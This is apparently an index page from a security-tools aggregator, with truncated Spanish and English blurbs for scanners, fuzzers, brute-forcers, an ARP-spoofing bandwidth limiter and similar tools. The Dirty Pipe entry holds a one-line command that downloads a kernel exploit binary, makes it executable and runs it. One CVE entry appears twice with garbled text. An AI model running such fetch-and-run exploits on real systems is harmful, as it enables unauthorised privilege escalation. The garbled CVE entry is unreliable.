omnibus

OSINT Omnibus Desarrollado y mantenido por InQuest Tabla de Contenidos OSINT Omnibus Omnibus Documentación Vocabulario Ejecutar Omnibus Claves API Consola Interactiva Artefactos Resumen Crear y Gestionar Artefactos Sesiones Módulos Máquinas Generación de Informes Módulos de Monitoreo OSINT Omnibu...

OpenRedireX

OpenRedireX Un fuzzer para detectar vulnerabilidades de redirección abierta 🏗️ Instalación ⛏️ Uso 📚 Dependencias Instalación root@kitploit: git clone https://github.com/devanshbatham/openredirex cd openredirex sudo chmod +x setup.sh ./setup.sh Uso El script se ejecuta desde la línea de comandos y...

Bcrypt-forcer

Bcrypt-forcer sqlmap Bcrypt herramienta de descifrado Cracker de hash Bcrypt...

CVE-2026-81684

In opensslencrypt pip package openssl-encrypt versions /cmdline for the lifetime of the subprocess. Fixed in 1.4.9...

dirsearch

dirsearch - Web Path Discovery An advanced web path brute-forcer dirsearch is being actively developed by @maurosoria and @shelld3v. Join the Discord server to communicate with the team. Quick Start dirsearch requires Python 3.11 or higher. root@kitploit: git clone...

CVE-2022-0847-Dirty-Pipe

Exploit de una línea CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

aiodnsbrute

Async DNS Brute A Python 3.5+ tool that uses asyncio to brute force domain names asynchronously. Speed It's fast. Benchmarks on small VPS hosts put around 100k DNS resoultions at 1.5-2mins. An amazon M3 box was used to make 1 mil requests in just over 3 minutes. Your mileage may vary. It's probab...

Strutshock

Strutshock Uso strutshock http://example.com/index.action...

CVE-2014-0160-Scanner

CVE-2014-0160-Scanner Este es un simple script de línea de comandos en PHP para verificar un array de dominios por la vulnerabilidad CVE-2014-0160 para ejecutar: php index.php Créditos: Utiliza el servicio proporcionado por http://filippo.io/Heartbleed/...

nemesis

N E M E S I S - Creación e Inyección El Proyecto Nemesis está diseñado para ser una pila IP humana portátil basada en línea de comandos para sistemas tipo UNIX y Windows. El conjunto está dividido por protocolo y debería permitir la creación de scripts útiles de paquetes inyectados desde simples...

CVE-2021-44906

CVE-2021-44906 Originalmente de: https://github.com/Marynk/JavaScript-vulnerability-detection/blob/main/minimist%20PoC.zip Ejecución root@kitploit: npm run hack Y verás que la propiedad done de cualquier función se cambia a true. La explicación de la línea de comando node index.js...

CVE-2021-44228-Scanner

log4j2-scan es una herramienta de línea de comandos de un solo binario para el escaneo de vulnerabilidades y parche de mitigación de CVE-2021-44228. También admite el escaneo y parcheo de archivos JAR anidados. Descarga log4j2-scan 1.3.1 Windows x64 Si el ejecutable nativo no funciona, usa el JAR...

CVE-2026-81684

In opensslencrypt pip package openssl-encrypt versions /cmdline for the lifetime of the subprocess. Fixed in 1.4.9...

wig

wig - WebApp Information Gatherer wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications. The application fingerprinting is based on checksums and string matching of known files for different versions of...

whatportis

whatportis .. image:: https://github.com/opencve/opencve/workflows/Tests/badge.svg :target: https://github.com/ncrocfer/whatportis/actions/workflows/tests.yml .. image:: https://badge.fury.io/py/whatportis.svg :target: https://pypi.python.org/pypi/whatportis/ .. image::...

evillimiter

Evil Limiter A tool to monitor, analyze and limit the bandwidth upload/download of devices on your local network without physical or administrative access. evillimiter employs ARP spoofing and traffic shaping to throttle the bandwidth of hosts on the network. Searching for a Windows-compatible...

mylg

myLG, Herramienta de Diagnóstico de Red en Línea de Comandos myLG es una utilidad de software de código abierto que combina las funciones de diferentes sondas de red en una sola herramienta de diagnóstico de red. Características Vidrios de red populares ping/trace/bgp: Telia, Level3, NTT, Cogent,...

ralph

Ralph Una implementación funcional de la técnica de bucle autónomo Ralph Wiggum para Claude Code. Antecedentes El plugin oficial ralph-wiggum en el mercado de plugins de Anthropic actualmente no funciona debido a una actualización de seguridad en Claude Code v1.0.20 agosto de 2025. El parche de...

ctftools

Base de Datos de Herramientas CTF Twitter: @hydr0nium Dependencias: sudo apt install python2 Instalación: git clone https://github.com/white-hood/ctftools.git cp .ctftools cd /bin ln -s ctftools /path/to/ctftools.py Uso: ./ctftools | uso normal ./ctftools --remove | eliminar herramienta de la bas...

cli

Getting started with the Snyk CLI Introduction to the Snyk CLI Snyk is a developer-first, cloud-native security tool to scan and monitor your software development projects for security vulnerabilities. Snyk scans multiple content types for security issues: Snyk Open Source: Find and automatically...